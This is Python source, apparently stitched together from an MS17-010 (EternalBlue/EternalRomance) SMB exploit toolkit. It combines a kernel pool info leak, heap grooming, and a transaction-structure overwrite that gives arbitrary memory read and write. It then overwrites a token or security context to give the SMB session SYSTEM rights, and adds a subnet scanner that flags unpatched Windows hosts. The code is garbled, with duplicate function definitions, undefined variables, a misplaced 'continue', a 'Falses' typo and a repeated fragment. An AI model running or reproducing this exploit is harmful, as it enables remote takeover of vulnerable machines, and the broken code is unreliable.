def leak_frag_size(conn, tid, fid): # this method can be used on Windows Vista/2008 and later # leak "Frag" pool size and determine target architecture info = {} # A "Frag" pool is placed after the large pool allocation if last page has some free space left. # A "Frag" pool size (on 64-bit) is 0x10 or 0x20 depended on Windows version. # To make exploit more generic, exploit does info leak to find a "Frag" pool size. # From the leak info, we can determine the target architecture too. mid = conn.next_mid() req1 = conn.create_nt_trans_packet(5, param=pack('<HH', fid, 0), mid=mid, data='A'*0x10d0, maxParameterCount=GROOM_TRANS_SIZE-0x10d0-TRANS_NAME_LEN) req2 = conn.create_nt_trans_secondary_packet(mid, data='B'*276) # leak more 276 bytes conn.send_raw(req1[:-8]) conn.send_raw(req1[-8:]+req2) leakData = conn.recv_transaction_data(mid, 0x10d0+276) leakData = leakData[0x10d4:] # skip parameters and its own input # Detect target architecture and calculate frag pool size if leakData[X86_INFO['FRAG_TAG_OFFSET']:X86_INFO['FRAG_TAG_OFFSET']+4] == 'Frag': logger.blue('Architecture: [{}]'.format(logger.BLUE('32 bit'))) info['arch'] = 'x86' info['FRAG_POOL_SIZE'] = ord(leakData[ X86_INFO['FRAG_TAG_OFFSET']-2 ]) * X86_INFO['POOL_ALIGN'] elif leakData[X64_INFO['FRAG_TAG_OFFSET']:X64_INFO['FRAG_TAG_OFFSET']+4] == 'Frag': logger.blue('Architecture: [{}]'.format(logger.BLUE('64 bit'))) info['arch'] = 'x64' info['FRAG_POOL_SIZE'] = ord(leakData[ X64_INFO['FRAG_TAG_OFFSET']-2 ]) * X64_INFO['POOL_ALIGN'] else: logger.red('Could not find Frag pool tag in leak data') sys.exit() logger.blue('Frag size: 0x{:x}'.format(info['FRAG_POOL_SIZE'])) return info
def worawit(target): try: logger.blue('Connecting to: [{}]'.format(logger.BLUE(target))) try: conn = MYSMB(target, timeout=5) except: logger.red('Failed to connect to [{}]'.format(logger.RED(target))) return False try: conn.login(USERNAME, PASSWORD) except: logger.red('Authentication failed: [{}]'.format(logger.RED(nt_errors.ERROR_MESSAGES[e.error_code][0]))) quit() finally: logger.blue('Got OS: [{}]'.format(logger.BLUE(conn.get_server_os()))) tid = conn.tree_connect_andx('\\\\' + target + '\\' + 'IPC$') conn.set_default_tid(tid) # test if target is vulnerable TRANS_PEEK_NMPIPE = 0x23 recvPkt = conn.send_trans(pack('<H', TRANS_PEEK_NMPIPE), maxParameterCount=0xffff, maxDataCount=0x800) status = recvPkt.getNTStatus() if status == 0xC0000205: # STATUS_INSUFF_SERVER_RESOURCES logger.green('[{}] IS NOT PATCHED!'.format(logger.GREEN(target))) else: logger.red('[{}] IS PATCHED!'.format(logger.RED(target))) quit() logger.blue('Checking named pipes...') for pipe_name, pipe_uuid in pipes.items(): try: dce = conn.get_dce_rpc(pipe_name) dce.connect() try: dce.bind(pipe_uuid, transfer_syntax=NDR64Syntax) logger.green('\t-\t{}: OK (64 bit)'.format(logger.GREEN(pipe_name))) except DCERPCException as e: if 'transfer_syntaxes_not_supported' in str(e): logger.green('\t-\t{}: OK (32 bit)'.format(logger.GREEN(pipe_name))) else: logger.green('\t-\t{}: OK ({})'.format(logger.GREEN(pipe_name), str(e))) dce.disconnect() except smb.SessionError as e: logger.red('{}: {}'.format(logger.RED(pipe_name), logger.RED(nt_errors.ERROR_MESSAGES[e.error_code][0]))) except smbconnection.SessionError as e: logger.red('{}: {}'.format(logger.RED(pipe_name), logger.RED(nt_errors.ERROR_MESSAGES[e.error][0]))) conn.disconnect_tree(tid) conn.logoff() conn.get_socket().close() except (KeyboardInterrupt, SystemExit): logger.red('Keyboard interrupt received..') quit()
def worawit(): target = args.target logger.blue('Connecting to: [{}]'.format(logger.BLUE(args.target))) if args.pipe: pipe_name = args.pipe logger.blue('Using specified pipe: [{}]'.format(logger.BLUE(args.pipe))) else: pipe_name = None try: exploit(target, pipe_name) logger.green('FINISHED!') except: logger.red('Could not connect to: [{}]'.format(logger.RED(target)))
def get_targets(targets): # parses an input of targets to get a list of all possible ips target_list = [] try: with open(targets, 'r') as file: contents = file.readlines() for i in (contents): target = i.rstrip() target_list.append(target) logger.verbose('Amount of targets from input: {}'.format(logger.BLUE(str(len(target_list))))) return target_list except: try: if "/" in targets: try: subnet = IPNetwork(targets) except: logger.red('failed to parse') quit() for i in subnet: tmp_str = str(i) last_octet = str(tmp_str.split('.')[3]) if last_octet == '0' or last_octet == '255': pass else: target_list.append(str(i)) logger.verbose('Amount of targets from input: {}'.format(logger.BLUE(str(len(target_list))))) return target_list elif "," in targets: ips=targets.split(',') for ip in ips: target_list.append(ip) logger.verbose('Amount of targets from input: {}'.format(logger.BLUE(str(len(target_list))))) return target_list else: target_list.append(targets) logger.verbose('Amount of targets from input: {}'.format(logger.BLUE(str(len(target_list))))) return target_list except: logger.red('Failed to parse targets.') quit()
def checker(host): try: conn = MYSMB(host) try: conn.login(USERNAME, PASSWORD) except smb.SessionError as e: logger.error('LOGIN FAILED: ' + nt_errors.ERROR_MESSAGES[e.error_code][0]) sys.exit() finally: logger.info('CONNECTED TO {}'.format(logger.BLUE(host))) logger.info('TARGET OS: ' + conn.get_server_os()) tid = conn.tree_connect_andx('\\\\' + target + '\\' + 'IPC$') conn.set_default_tid(tid) # test if target is vulnerable TRANS_PEEK_NMPIPE = 0x23 recvPkt = conn.send_trans(pack('<H', TRANS_PEEK_NMPIPE), maxParameterCount=0xffff, maxDataCount=0x800) status = recvPkt.getNTStatus() if status == 0xC0000205: # STATUS_INSUFF_SERVER_RESOURCES logger.success('{} IS NOT PATCHED!'.format(logger.GREEN(target))) else: logger.error('{} IS PATCHED!'.format(target)) sys.exit() logger.action('CHECKING NAMED PIPES...') for pipe_name, pipe_uuid in pipes.items(): try: dce = conn.get_dce_rpc(pipe_name) dce.connect() try: dce.bind(pipe_uuid, transfer_syntax=NDR64Syntax) logger.success('{}: OK (64 bit)'.format(pipe_name)) except DCERPCException as e: if 'transfer_syntaxes_not_supported' in str(e): logger.success('{}: OK (32 bit)'.format(pipe_name)) else: logger.success('{}: OK ({})'.format(pipe_name, str(e))) dce.disconnect() except smb.SessionError as e: logger.error('{}: {}'.format( pipe_name, nt_errors.ERROR_MESSAGES[e.error_code][0])) except smbconnection.SessionError as e: logger.error('{}: {}'.format( pipe_name, nt_errors.ERROR_MESSAGES[e.error][0])) conn.disconnect_tree(tid) conn.logoff() conn.get_socket().close() except: logger.error('COULD NOT CONNECT TO {}'.format(logger.RED(host)))
def run(): target = args.target if args.user: if args.password == None: logger.red('Please specify username and password') quit() else: username = args.user password = args.password else: username = '' if args.password: if args.user == None: logger.red('Please specify username and password') quit() else: username = args.user password = args.password else: password = '' if args.domain: domain = args.domain else: domain = '' if args.pipe: pipe_name = args.pipe logger.blue('Using specified pipe: [{}]'.format(logger.BLUE(args.pipe))) else: pipe_name = None try: result = exploit(target,username,password,pipe_name) except Exception as e: logger.red(str(e)) quit() if result: logger.green('Exploit finished!') else: logger.red('Failed to finish exploit')
def exploit(target, pipe_name): conn = MYSMB(target) # set NODELAY to make exploit much faster conn.get_socket().setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1) info = {} conn.login(USERNAME, PASSWORD, maxBufferSize=4356) server_os = conn.get_server_os() logger.blue('OS: {}'.format(logger.BLUE(server_os))) if server_os.startswith("Windows 7 ") or server_os.startswith("Windows Server 2008 R2"): info['os'] = 'WIN7' info['method'] = exploit_matched_pairs elif server_os.startswith("Windows 8") or server_os.startswith("Windows Server 2012 ") or server_os.startswith("Windows Server 2016 ") or server_os.startswith("Windows 10") or server_os.startswith("Windows RT 9200"): info['os'] = 'WIN8' info['method'] = exploit_matched_pairs elif server_os.startswith("Windows Server (R) 2008") or server_os.startswith("Windows Vista") or server_os.startswith("Windows (R) Web Server 2008"): info['os'] = 'WIN7' info['method'] = exploit_fish_barrel elif server_os.startswith("Windows Server 2003 "): info['os'] = 'WIN2K3' info['method'] = exploit_fish_barrel elif server_os.startswith("Windows 5.1"): info['os'] = 'WINXP' info['arch'] = 'x86' info['method'] = exploit_fish_barrel elif server_os.startswith("Windows XP "): info['os'] = 'WINXP' info['arch'] = 'x64' info['method'] = exploit_fish_barrel elif server_os.startswith("Windows 5.0"): info['os'] = 'WIN2K' info['arch'] = 'x86' info['method'] = exploit_fish_barrel else: logger.red('Target isnt supported...') quit() if pipe_name is None: pipe_name = find_named_pipe(conn) if pipe_name is None: logger.red('Couldnt get named pipe...') return False logger.green('Using pipe: [{}]'.format(pipe_name)) if not info['method'](conn, pipe_name, info): return False # Now, read_data() and write_data() can be used for arbitrary read and write. # ================================ # Modify this SMB session to be SYSTEM # ================================ fmt = info['PTR_FMT'] logger.blue('Creating SYSTEM Session') # IsNullSession = 0, IsAdmin = 1 write_data(conn, info, info['session']+info['SESSION_ISNULL_OFFSET'], '\x00\x01') # read session struct to get SecurityContext address sessionData = read_data(conn, info, info['session'], 0x100) secCtxAddr = unpack_from('<'+fmt, sessionData, info['SESSION_SECCTX_OFFSET'])[0] if 'PCTXTHANDLE_TOKEN_OFFSET' in info: # Windows 2003 and earlier uses only ImpersonateSecurityContext() (with PCtxtHandle struct) for impersonation # Modifying token seems to be difficult. But writing kernel shellcode for all old Windows versions is # much more difficult because data offset in ETHREAD/EPROCESS is different between service pack. # find the token and modify it if 'SECCTX_PCTXTHANDLE_OFFSET' in info: pctxtDataInfo = read_data(conn, info, secCtxAddr+info['SECCTX_PCTXTHANDLE_OFFSET'], 8) pctxtDataAddr = unpack_from('<'+fmt, pctxtDataInfo)[0] else: pctxtDataAddr = secCtxAddr tokenAddrInfo = read_data(conn, info, pctxtDataAddr+info['PCTXTHANDLE_TOKEN_OFFSET'], 8) tokenAddr = unpack_from('<'+fmt, tokenAddrInfo)[0] logger.blue('Current Token Addr: 0x{:x}'.format(tokenAddr)) # copy Token data for restoration tokenData = read_data(conn, info, tokenAddr, 0x40*info['PTR_SIZE']) # parse necessary data out of token userAndGroupsAddr, userAndGroupCount, userAndGroupsAddrOffset, userAndGroupCountOffset = get_group_data_from_token(info, tokenData) logger.blue('Overwriting Token [UserAndGroups]') # modify UserAndGroups info fakeUserAndGroupCount, fakeUserAndGroups = create_fake_SYSTEM_UserAndGroups(conn, info, userAndGroupCount, userAndGroupsAddr) if fakeUserAndGroupCount != userAndGroupCount: write_data(conn, info, tokenAddr+userAndGroupCountOffset, pack('<I', fakeUserAndGroupCount)) write_data(conn, info, userAndGroupsAddr, fakeUserAndGroups) else: # the target can use PsImperonateClient for impersonation (Windows 2008 and later) # copy SecurityContext for restoration secCtxData = read_data(conn, info, secCtxAddr, info['SECCTX_SIZE']) logger.blue('Overwriting session security context') # see FAKE_SECCTX detail at top of the file write_data(conn, info, secCtxAddr, info['FAKE_SECCTX']) # ================================ # do whatever we want as SYSTEM over this SMB connection # ================================ # try: smb_pwn(conn, info['arch']) # except: # pass # restore SecurityContext/Token if 'PCTXTHANDLE_TOKEN_OFFSET' in info: userAndGroupsOffset = userAndGroupsAddr - tokenAddr write_data(conn, info, userAndGroupsAddr, tokenData[userAndGroupsOffset:userAndGroupsOffset+len(fakeUserAndGroups)]) if fakeUserAndGroupCount != userAndGroupCount: write_data(conn, info, tokenAddr+userAndGroupCountOffset, pack('<I', userAndGroupCount)) else: write_data(conn, info, secCtxAddr, secCtxData) conn.disconnect_tree(conn.get_tid()) conn.logoff() conn.get_socket().close() return True
def exploit_matched_pairs(conn, pipe_name, info): # for Windows 7/2008 R2 and later tree_connect_andx='\\\\'+conn.get_remote_host()+'\\'+'IPC$' logger.blue('Connecting to {}'.format(logger.BLUE(tree_connect_andx))) tid = conn.tree_connect_andx(tree_connect_andx) logger.blue('Starting exploit!') # tid = conn.tree_connect_andx('\\\\'+conn.get_remote_host()+'\\'+'IPC$') conn.set_default_tid(tid) # fid for first open is always 0x4000. We can open named pipe multiple times to get other fids. fid = conn.nt_create_andx(tid, pipe_name) info.update(leak_frag_size(conn, tid, fid)) # add os and arch specific exploit info info.update(OS_ARCH_INFO[info['os']][info['arch']]) # groom: srv buffer header info['GROOM_POOL_SIZE'] = calc_alloc_size(GROOM_TRANS_SIZE + info['SRV_BUFHDR_SIZE'] + info['POOL_ALIGN'], info['POOL_ALIGN']) logger.blue('GROOM_POOL_SIZE: 0x{:x}'.format(info['GROOM_POOL_SIZE'])) # groom paramters and data is alignment by 8 because it is NT_TRANS info['GROOM_DATA_SIZE'] = GROOM_TRANS_SIZE - TRANS_NAME_LEN - 4 - info['TRANS_SIZE'] # alignment (4) # bride: srv buffer header, pool header (same as pool align size), empty transaction name (4) bridePoolSize = 0x1000 - (info['GROOM_POOL_SIZE'] & 0xfff) - info['FRAG_POOL_SIZE'] info['BRIDE_TRANS_SIZE'] = bridePoolSize - (info['SRV_BUFHDR_SIZE'] + info['POOL_ALIGN']) logger.blue('BRIDE_TRANS_SIZE: 0x{:x}'.format(info['BRIDE_TRANS_SIZE'])) # bride paramters and data is alignment by 4 because it is TRANS info['BRIDE_DATA_SIZE'] = info['BRIDE_TRANS_SIZE'] - TRANS_NAME_LEN - info['TRANS_SIZE'] # try align pagedpool and leak info until satisfy # ================================ leakInfo = None # max attempt: 10 for i in range(10): reset_extra_mid(conn) leakInfo = align_transaction_and_leak(conn, tid, fid, info) if leakInfo is not None: break logger.red('Leak failed! Retrying...') conn.close(tid, fid) conn.disconnect_tree(tid) tid = conn.tree_connect_andx('\\\\'+conn.get_remote_host()+'\\'+'IPC$') conn.set_default_tid(tid) fid = conn.nt_create_andx(tid, pipe_name) if leakInfo is None: return False info['fid'] = fid info.update(leakInfo) # ================================ # shift transGroom.Indata ptr with SmbWriteAndX # ================================ shift_indata_byte = 0x200 conn.do_write_andx_raw_pipe(fid, 'A'*shift_indata_byte) # Note: Even the distance between bride transaction is exactly what we want, the groom transaction might be in a wrong place. # So the below operation is still dangerous. Write only 1 byte with '\x00' might be safe even alignment is wrong. # maxParameterCount (0x1000), trans name (4), param (4) indata_value = info['next_page_addr'] + info['TRANS_SIZE'] + 8 + info['SRV_BUFHDR_SIZE'] + 0x1000 + shift_indata_byte indata_next_trans_displacement = info['trans2_addr'] - indata_value conn.send_nt_trans_secondary(mid=fid, data='\x00', dataDisplacement=indata_next_trans_displacement + info['TRANS_MID_OFFSET']) wait_for_request_processed(conn) # if the overwritten is correct, a modified transaction mid should be special_mid now. # a new transaction with special_mid should be error. recvPkt = conn.send_nt_trans(5, mid=special_mid, param=pack('<HH', fid, 0), data='') if recvPkt.getNTStatus() != 0x10002: # invalid SMB logger.red('Unexpected return status: [0x{:x}]'.format(recvPkt.getNTStatus())) logger.red('Written to wrong place') logger.red('Target may have crashed...') return False logger.green('Successfully controlled the Groom Transaction') # NSA exploit set refCnt on leaked transaction to very large number for reading data repeatly # but this method make the transation never get freed # I will avoid memory leak # ================================ # modify trans1 struct to be used for arbitrary read/write # ================================ logger.blue('Modifying Trans1 Struct for Read/Write') fmt = info['PTR_FMT'] # use transGroom to modify trans2.InData to &trans1. so we can modify trans1 with trans2 data conn.send_nt_trans_secondary(mid=fid, data=pack('<'+fmt, info['trans1_addr']), dataDisplacement=indata_next_trans_displacement + info['TRANS_INDATA_OFFSET']) wait_for_request_processed(conn) # modify # - trans1.InParameter to &trans1. so we can modify trans1 struct with itself (trans1 param) # - trans1.InData to &trans2. so we can modify trans2 with trans1 data conn.send_nt_trans_secondary(mid=special_mid, data=pack('<'+fmt*3, info['trans1_addr'], info['trans1_addr']+0x200, info['trans2_addr']), dataDisplacement=info['TRANS_INPARAM_OFFSET']) wait_for_request_processed(conn) # modify trans2.mid info['trans2_mid'] = conn.next_mid() conn.send_nt_trans_secondary(mid=info['trans1_mid'], data=pack('<H', info['trans2_mid']), dataDisplacement=info['TRANS_MID_OFFSET']) return True
def run(target): try: try: logger.verbose('Attempting to connect to %s' % logger.BLUE(target)) conn = MYSMB(target, timeout=5) logger.verbose('Successfully connected to %s' % logger.BLUE(target)) except Exception as e: logger.red('Failed to connect to [{}]'.format(logger.RED(target))) logger.verbose('Got error whilst connecting: %s' % logger.BLUE(str(e))) return False try: # login(self, user, password, domain='', lmhash='', nthash='', ntlm_fallback=True, maxBufferSize=None) # can add passthehash at some point logger.verbose('Attempting to authenticate to %s' % logger.BLUE(target)) conn.login(username, password, domain) logger.verbose('Successfully authenticated to %s' % logger.BLUE(target)) except Exception as e: logger.red('Failed to authenticate to [{}]'.format( logger.RED(target))) return False try: logger.verbose('Attempting to get OS for %s' % logger.BLUE(target)) OS = conn.get_server_os() logger.verbose('Got Operting System: %s' % logger.BLUE(OS)) except Exception as e: logger.verbose('Got error whilst getting Operting System: %s' % logger.BLUE(str(e))) logger.red('Failed to obtain operating system') try: tree_connect_andx = '\\\\' + target + '\\' + 'IPC$' logger.verbose('Attempting to connect to %s' % logger.BLUE(tree_connect_andx)) tid = conn.tree_connect_andx(tree_connect_andx) conn.set_default_tid(tid) logger.verbose('Successfully connected to %s' % logger.BLUE(tree_connect_andx)) except Exception as e: logger.verbose('Got error whilst connecting to %s: %s' % (tree_connect_andx, logger.BLUE(str(e)))) return False # test if target is vulnerable logger.verbose('Testing if %s is vulnerable...' % logger.BLUE(target)) try: TRANS_PEEK_NMPIPE = 0x23 recvPkt = conn.send_trans(pack('<H', TRANS_PEEK_NMPIPE), maxParameterCount=0xffff, maxDataCount=0x800) status = recvPkt.getNTStatus() if status == 0xC0000205: # STATUS_INSUFF_SERVER_RESOURCES logger.green('[%s] VULNERABLE' % logger.GREEN(target)) vulnerable[target] = [] else: logger.red('[%s] PATCHED' % logger.RED(target)) except Exception as e: logger.verbose( 'Got error whilst checking vulnerability status %s' % logger.BLUE(str(e))) return Falses pipes_found = [] if target in vulnerable: logger.verbose('Checking pipes on %s' % logger.BLUE(target)) for pipe_name, pipe_uuid in pipes.items(): try: dce = conn.get_dce_rpc(pipe_name) dce.connect() try: dce.bind(pipe_uuid, transfer_syntax=NDR64Syntax) try: pipes_found.append(pipe_name) except Exception as e: logger.verbose( 'Got error whilst appending pipe to list %s' % logger.BLUE(str(e))) pass except DCERPCException as e: logger.verbose('Got error whilst binding to rpc: %s' % logger.BLUE(str(e))) if 'transfer_syntaxes_not_supported' in str(e): try: pipes_found.append(pipe_name) except Exception as e: logger.verbose( 'Got error whilst appending pipe to list %s (transfer_syntaxes_not_supported)' % logger.BLUE(str(e))) pass else: try: pipes_found.append(pipe_name) except Exception as e: logger.verbose( 'Got error whilst appending pipe to list %s !(transfer_syntaxes_not_supported)' % logger.BLUE(str(e))) pass except Exception as e: logger.verbose('Got error whilst binding to rpc: %s' % logger.BLUE(str(e))) pass finally: dce.disconnect() vulnerable[target] = pipes_found except smb.SessionError as e: logger.verbose( 'Got SMB Session error whilst connecting %s' % logger.BLUE(str(e))) continue except smbconnection.SessionError as e: logger.verbose( 'Got SMB Session error whilst connecting %s' % logger.BLUE(str(e))) continue except Exception as e: logger.verbose( 'Got SMB Session error whilst connecting %s' % logger.BLUE(str(e))) continue try: conn.disconnect_tree(tid) conn.logoff() conn.get_socket().close() except Exception as e: logger.verbose('Got error whilst disconnecting from rpc %s' % logger.BLUE(str(e))) pass except KeyboardInterrupt: logger.red('Keyboard interrupt received..') quit()
conn.get_socket().close() except Exception as e: logger.verbose('Got error whilst disconnecting from rpc %s' % logger.BLUE(str(e))) pass except KeyboardInterrupt: logger.red('Keyboard interrupt received..') quit() def do_scan(targets): for target in targets: run(target) banner.show('checker') t = args.targets targets = get_targets(t) if len(targets) == 1: logger.verbose_switch = True do_scan(targets) print('') if len(vulnerable) == 0: print(logger.RED('No vulnerable hosts found')) else: print(logger.BLUE('Results:')) logger.dump(vulnerable)